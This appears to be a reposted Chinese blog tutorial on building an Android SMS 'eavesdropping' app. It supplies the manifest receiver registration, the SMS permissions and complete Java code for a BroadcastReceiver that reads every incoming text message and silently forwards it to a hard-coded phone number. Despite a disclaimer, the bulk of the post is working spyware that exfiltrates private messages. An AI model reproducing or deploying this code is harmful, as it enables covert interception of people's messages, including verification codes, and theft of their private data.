android实现短信监听

来源:互联网 发布:js判断安卓还是ios 编辑:程序博客网 时间:2024/05/20 00:36

很久前博客园的文章,搬家之后就搬过来了。


申明:本文纯粹是为了技术交流,非法使用相关技术后果自负。


刚开始学android的时候总觉得短信“窃听”之类的程序应该很高深的,其实这里实现的基本“监听”功能只有短短几行代码,方法如下:
1.新建工程,自动生成一个Activity,这个显示用的,里面什么都没有。
2.新建一个SmsReceiver继承BroadcastReceiver,并在AndroidManifest.xml文件里面注册,要加上接收短信过滤器,如下
<receiver 
        android:name="SmsReceiver">
           <intent-filter>
                   <action android:name="android.provider.Telephony.SMS_RECEIVED"></action>
           </intent-filter>
</receiver>
3.现在只需完善SmsReceiver就可以了,看代码,尽量写了些注释
public class SmsReceiver extends BroadcastReceiver {
 
@Override
public void onReceive(Context context, Intent intent) {
 
 
Bundle bundle = intent.getExtras();//获取intent中的内容
StringBuilder message = new StringBuilder();//message用于存放短信内容
SmsMessage sms = null;//短信服务类,MS现在已经被android.telephony.SmsMessage取代
SmsManager manager = null;//短信管理类
if (bundle != null) {
Object[] pdus = (Object[]) bundle.get("pdus");//获取bundle里面的内容
for (Object obj : pdus) {
//下面两行将短信内容取出加入到message中
sms = SmsMessage.createFromPdu((byte[]) obj);
message.append(sms.getDisplayMessageBody());
}
}
if (message.toString() != "") {//if里面将短信转发到指定的号码
System.out.println(message);
manager = SmsManager.getDefault();
manager.sendTextMessage("此处为要转发的电话号码", null, message.toString(),
null, null);
}
 
}
 
}
4.最后别忘了加入相关权限
 <uses-permission android:name="android.permission.READ_SMS"></uses-permission>
    <uses-permission android:name="android.permission.SEND_SMS"></uses-permission>
    <uses-permission android:name="android.permission.WRITE_SMS"></uses-permission>
    <uses-permission android:name="android.permission.RECEIVE_SMS"></uses-permission>

原创粉丝点击